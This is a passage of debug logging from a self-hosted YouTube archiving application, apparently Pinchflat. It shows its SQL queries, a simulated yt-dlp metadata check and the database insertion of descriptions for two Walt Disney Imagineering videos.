m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:56.577 [debug] QUERY OK source="media_items" db=0.2ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 18:54:56.578 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 18:54:56.578 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:56.579 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:56.579 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:56.579 [debug] Running yt-dlp command for action: get_downloadable_status 18:54:56.579 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:56.580 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:56.580 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:56.580 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ab/74/ab74ee6316e339786b1e3a340f340cbf85d15a06a901decc7cb54bb10b186fd3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:54:57.571 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0How\u00A0does\u00A0Walt\u00A0Disney\u00A0Imagineering\u00A0control\u00A0...\u00A0\u00A0\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🦁 if you roared watching this episode!", "filename" => "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].NA", "id" => "diprlz4GBlk", "original_url" => "https://www.youtube.com/watch?v=diprlz4GBlk", "playlist_index" => 4, "title" => "How do the Imagineers keep the lions away from the rhinos?!", "upload_date" => "20260224"} 18:54:57.572 [debug] QUERY OK source="sources" db=0.2ms idle=992.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:54:57.572 [debug] QUERY OK source="sources" db=0.1ms idle=992.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:57.573 [debug] QUERY OK source="media_items" db=0.5ms idle=992.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 00:00:00Z], 2] 18:54:57.575 [debug] QUERY OK source="media_items" db=1.3ms idle=993.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0How\u00A0does\u00A0Walt\u00A0Disney\u00A0Imagineering\u00A0control\u00A0...\u00A0\u00A0\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "101a29f6-c9d3-4ccc-a297-e86498b4ce41", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", false, false, 4, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].NA", false, false, 2, [], 98, ~U[2026-02-24 00:00:00Z], ~U[2026-03-29 22:54:57Z], ~U[2026-03-29 22:54:57Z], "Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0How\u00A0does\u00A0Walt\u00A0Disney\u00A0Imagineering\u00A0control\u00A0...\u00A0\u00A0\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", nil, false, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].NA", false, 2, ~U[2026-02-24 00:00:00Z]] 18:54:57.576 [debug] QUERY OK source="sources" db=0.1ms idle=45.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:57.576 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:57.577 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9847] 18:54:57.577 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ What makes this special?\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "filename" => "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].NA", "id" => "Q1cJY2wpQRQ", "original_url" => "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", "playlist_index" => 5, "title" => "How Does Disney Do This - Three Stages in ONE Theater?!", "upload_date" => "20260217"} 18:54:57.578 [debug] QUERY OK source="sources" db=0.1ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:54:57.578 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:57.579 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 00:00:00Z], 2] 18:54:57.582 [debug] QUERY OK source="media_items" db=2.6ms idle=2.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ What makes this special?\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "How Does Disney Do This - Three Stages in ONE Theater?!", "5ce6585c-904d-4ab0-b85a-e39e4a3c0503", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", false, false, 5, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].NA", false, false, 2, [], 98, ~U[2026-02-17 00:00:00Z], ~U[2026-03-29 22:54:57Z], ~U[2026-03-29 22:54:57Z], "Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ What makes this special?\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → 